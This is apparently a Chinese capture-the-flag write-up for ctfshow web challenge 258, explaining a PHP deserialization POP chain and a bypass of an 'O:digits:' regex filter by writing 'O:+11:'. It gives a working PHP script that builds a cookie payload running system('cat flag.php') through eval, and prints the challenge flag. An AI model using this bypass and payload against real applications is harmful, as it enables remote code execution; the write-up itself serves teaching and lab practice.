ctf show web 入门258

本题跟上一题思路基本一致

都是通过pop链最后让 eval()函数执行,并且通过反序列化将eval()函数中传入system(cat flag.php)想要执行eval()函数要先执行getinfo()方法,通过代码审计可以知道要执行getinfo()方法得先执行__destruct()方法

要执行__destruct()方法就要有一个对象被销毁,在我们传递完username和password的值后就会执行__destruct()方法

但是这一天增加了过滤机制,在反序列化之前,多了一行代码:

if(!preg_match('/oc:\d+:/i', $_COOKIE'user'))

这句正则表达式会检查 Cookie 字符串,如果里面包含 "不区分大小写的 o: 或 c: 后面紧跟一个或多个数字,再紧跟一个冒号" 的结构,就会拦截,不执行反序列化

PHP 在解析反序列化字符串时,对于表示类名长度的数字,前面如果带有一个正号 +,它依然能够成功将其转换为整型

因为多了一个 + 号,正则匹配中的 \d+(纯数字)就被打破了(变成了 + 后面接数字),从而成功绕过 preg_match,而后面的 unserialize() 在执行时会自动把 +11 处理成 11,正常反序列化

我们可以直接在本地写一个简单的脚本

php 复制代码
<?php
class ctfShowUser {
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;
    public $class;
}

class backDoor {
    public $code = "system('cat flag.php');";
}

$b = new backDoor();
$u = new ctfShowUser();
$u->class = $b;

$payload = serialize($u);

// 手动或自动在 O: 后面补上 + 号
// 替换前:O:11:"ctfShowUser" -> 替换后:O:+11:"ctfShowUser"
$payload = str_replace('O:', 'O:+', $payload);

echo urlencode($payload); 
// 注意:加号(+)在 URL 传输中会被浏览器误认为空格,所以这里必须进行 urlencode 编码,把 + 变成 %2B
?>

这个php代码运行后生产的payload已经帮我们绕过了正则限制,所以我们可以直接把它放到cookie中

这里的username和password的值随便传,按下回车后检查源代码就可以得到flag

ctfshow{69dba413-7d8b-47f0-8af9-ec267214e14e}

相关推荐
问心无愧051312 分钟前
ctf show web入门110
前端·笔记
拉拉肥_King17 分钟前
Vue 3 主题切换深度解析:从炫酷动画到零闪烁方案
前端·vue.js
excel19 分钟前
为什么 Pinia + localForage 持久化后,页面初始化拿不到数据?
前端
ha_lydms20 分钟前
AnalyticDB分区、分布键性能优化
android·大数据·分布式·性能优化·分布式计算·分区·analyticdb
雨雨雨雨雨别下啦22 分钟前
vant介绍
前端
小小小小宇22 分钟前
大模型失忆问题探讨
前端
wordbaby25 分钟前
rn-cross-calendar:一个兼容 React 18/19、RN/RNOH 的跨平台日历组件
前端·react native·harmonyos
weixin_5231853227 分钟前
Collections.unmodifiableMap详解:真的不可修改吗?
java·linux·前端
江米小枣tonylua28 分钟前
关掉 VSCode:在 NeoVim12 上配置 Claude Code
前端·程序员
星辰32 分钟前
Ijkplayer重新编译支持h264裸流
android